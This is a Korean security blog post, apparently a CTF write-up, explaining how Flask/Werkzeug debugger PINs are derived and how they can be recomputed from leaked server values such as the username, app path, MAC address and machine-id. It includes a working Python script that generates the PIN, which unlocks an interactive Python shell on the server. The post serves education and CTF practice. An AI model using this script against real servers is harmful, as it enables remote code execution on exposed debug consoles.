python flask debugger pin, find and exploit
어떤 CTF에서 python flask 관련 문제가 나왔는데, flask의 debugger pin을 Leak해서 exploit 하는 문제 였다.
flask debugger pin은 뭐길래 exploit이 가능한지 알아보자.
What is Flask debugger PIN
debugger PIN은 개발환경에서 에러가 났을때 쉽게 대화형 debug 모드로 접근 가능하다. 이때 접근 하기 위해서는 PIN 코드가 필요한데 이것이 debugger PIN이다.
코드로 예를 들어 보겠다.
아래 코드에서 마지막 줄을 보면 `debug=True` 라고 되어 있는데, 이렇게 설정이 되어 있으면 debugger PIN을 볼 수 있다.
from flask import Flask
app = Flask(__name__)
@app.route('/')
def index():
return 'test'
@app.route("/test")
def test():
# Error!!
return a[0]
app.run(host='0.0.0.0', port=80, threaded=True, debug=True)
위 코드를 실행하면 아래 처럼 debugger PIN `318-401-378` 이 콘솔에 출력 된 것을 볼 수 있다.
이 PIN code는 각 pc마다 다르다.
에러를 발생시키기 위해 `/test` 로 요청을 보내면 웹 페이지에 에러가 출력된다.
그런데 에러 패에지에서 오른쪽을 보면 터미널 아이콘이 보이는데, `Open an interactive python shell in this frame` 라고 적혀있다. 즉 대화형 파이썬 shell을 실행하는 것이다.
터미널 아이콘을 누르면 debugger PIN을 입력하는 창이 뜨는데, 위에서 봤던 PIN코드를 입력하면 대화형 파이썬 shell을 실행하게 된다.
그럼 어떻게 debugger PIN을 leak 할 수 있을까?
How to leak Debugger PIN in python3.8
debugger PIN을 생성하는 코드는 아래 경로에서 `__init__.py` 라는 파일안에 있다.
`/usr/local/lib/python3.8/site-packages/werkzeug/debug/__init__.py`
python 버전마다 다를 수 있으니 직접 찾아 보자.
`__init__.py` 라는 파일을 열어 debugger PIN을 생성하는 코드만 보면 아래와 같다.
def get_pin_and_cookie_name(app):
"""Given an application object this returns a semi-stable 9 digit pin
code and a random key. The hope is that this is stable between
restarts to not make debugging particularly frustrating. If the pin
was forcefully disabled this returns `None`.
Second item in the resulting tuple is the cookie name for remembering.
"""
pin = os.environ.get("WERKZEUG_DEBUG_PIN")
rv = None
num = None
# Pin was explicitly disabled
if pin == "off":
return None, None
# Pin was provided explicitly
if pin is not None and pin.replace("-", "").isdigit():
# If there are separators in the pin, return it directly
if "-" in pin:
rv = pin
else:
num = pin
modname = getattr(app, "__module__", app.__class__.__module__)
try:
# getuser imports the pwd module, which does not exist in Google
# App Engine. It may also raise a KeyError if the UID does not
# have a username, such as in Docker.
username = getpass.getuser()
except (ImportError, KeyError):
username = None
mod = sys.modules.get(modname)
# This information only exists to make the cookie unique on the
# computer, not as a security feature.
probably_public_bits = [
username,
modname,
getattr(app, "__name__", app.__class__.__name__),
getattr(mod, "__file__", None),
]
# This information is here to make it harder for an attacker to
# guess the cookie name. They are unlikely to be contained anywhere
# within the unauthenticated debug page.
private_bits = [str(uuid.getnode()), get_machine_id()]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, text_type):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")
cookie_name = "__wzd" + h.hexdigest()[:20]
# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
if num is None:
h.update(b"pinsalt")
num = ("%09d" % int(h.hexdigest(), 16))[:9]
# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num
return rv, cookie_name
코드 해석은 별로 중요한 건 아니니 중요한 부분만 보면, 아래 값들이 있어야 `debugger PIN`을 만들 수 있다.
probably_public_bits = [
username,
modname,
getattr(app, '__name__', getattr(app.__class__, '__name__')),
getattr(mod, '__file__', None),
]
private_bits = [
str(uuid.getnode()),
get_machine_id(),
]
각각에 대한 값들에 대해 설명하면 다음과 같다.
`username`: app.py를 실행한 사용자 이름
`modname`: 그냥 flask.app
`getattr(app, '__name__', getattr (app .__ class__, '__name__'))`: 그냥 Flask
`getattr(mod, '__file__', None)`: flask 폴더에 app.py의 절대 경로
`uuid.getnode()`: 해당 pc의 MAC 주소
`get_machine_id()`: 해당 pc에서 '/etc/machine-id' 파일의 값이나 '/proc/sys/kernel/random/boot_id' 파일의 값
만약, 해당 서버가 취약해서 `app.py`를 실행한 사용자 이름등 정보를 얻을 수 있다는 가정하에 필요한 정보를 수집했으면 아래 코드를 통해 `debugger PIN` 을 생성할 수 있다.
Generate Debugger PIN
import hashlib
from itertools import chain
probably_public_bits = [
'universe', # username
'flask.app',# modname 고정
'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__')) 고정
'/usr/local/lib/python3.8/site-packages/flask/app.py' # getattr(mod, '__file__', None),
# python 버전 마다 위치 다름
]
private_bits = [
'187999308491777', # MAC주소를 int형으로 변환한 값,
'your machine id' # get_machine_id()
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
#h.update(b'shittysalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
Notice
python 버전마다, 그리고 flask 버전 마다 `dubugger PIN` 을 생성하는 방법이 다르다.
정확히 말하면 생성할때의 필요한 값들이 조금 다르다.
`python 3.8` 과 `python 3.7` 을 서로 비교해보자.
에러 로그에 python의 버전이 나올건데 이를 바탕으로 `/usr/local/lib/{{python version}}/site-packages/werkzeug/debug/__init__.py` 파일을 보거나, 해당 버전의 코드를 인터넷에 찾는다.
아래 코드는 `python 3.8` 에서 `__init__.py` 파일 중 `debugger PIN`을 생성하기 위해 필요한 정보를 수집하는 단계이다.
mac os와 windows 관련 코드는 지웠다.
`linux` 변수를 관점으로 보면 `/etc/machine-id` 파일의 값과 `/proc/self/cgroup` 파일의 값을 어떻게 처리해서 `return linux` 한다.
_machine_id = None
def get_machine_id():
global _machine_id
if _machine_id is not None:
return _machine_id
def _generate():
linux = b""
# machine-id is stable across boots, boot_id is not.
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
try:
with open(filename, "rb") as f:
value = f.readline().strip()
except IOError:
continue
if value:
linux += value
break
# Containers share the same machine id, add some cgroup
# information. This is used outside containers too but should be
# relatively stable across boots.
try:
with open("/proc/self/cgroup", "rb") as f:
linux += f.readline().strip().rpartition(b"/")[2]
except IOError:
pass
if linux:
return linux
_machine_id = _generate()
return _machine_id
반면, `python 3.7`을 보면 `_machine_id`를 생성하는 과정이 조금 다르다는 것을 알 수 있다.
_machine_id = None
def get_machine_id():
global _machine_id
rv = _machine_id
if rv is not None:
return rv
def _generate():
# docker containers share the same machine id, get the
# container id instead
try:
with open("/proc/self/cgroup") as f:
value = f.readline()
except IOError:
pass
else:
value = value.strip().partition("/docker/")[2]
if value:
return value
# Potential sources of secret information on linux. The machine-id
# is stable across boots, the boot id is not
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
try:
with open(filename, "rb") as f:
return f.readline().strip()
except IOError:
continue
_machine_id = rv = _generate()
return rv
Conclusion
위에서 `debugger PIN`의 생성 과정은 python 버전 마다 다르다는 것을 알 수 있다.
과정만 다르지 생성하는 알고리즘은 똑같아 필요한 정보를 획득한 뒤, 위 `Generate debugger PIN` 코드를 이용해서 `debugger PIN`을 생성하면 된다.
Reference
https://www.daehee.com/werkzeug-console-pin-exploit/
https://www.kingkk.com/2018/08/Flask-debug-pin%E5%AE%89%E5%85%A8%E9%97%AE%E9%A2%98/
https://dreamhack.io/forum/qna/291
'🔒Security' 카테고리의 다른 글
[pwnable] - glibc 2.24 이상 버전에서 _IO_FILE vtable check bypss (0) | 2020.10.07 |
---|---|
[pwnable] - _IO_FILE structure and vtable overwrite (0) | 2020.10.02 |
python으로 사이트에 있는 url crawler tool 개발 (0) | 2020.03.30 |
python 으로 http request smuggling tool 만들기 (0) | 2020.03.30 |
Paypal에서 발견된 HTTP Request Smuggling - 실습 환경 구축 (0) | 2020.03.22 |
댓글
이 글 공유하기
다른 글
-
[pwnable] - glibc 2.24 이상 버전에서 _IO_FILE vtable check bypss
[pwnable] - glibc 2.24 이상 버전에서 _IO_FILE vtable check bypss
2020.10.07 -
[pwnable] - _IO_FILE structure and vtable overwrite
[pwnable] - _IO_FILE structure and vtable overwrite
2020.10.02 -
python으로 사이트에 있는 url crawler tool 개발
python으로 사이트에 있는 url crawler tool 개발
2020.03.30 -
python 으로 http request smuggling tool 만들기
python 으로 http request smuggling tool 만들기
2020.03.30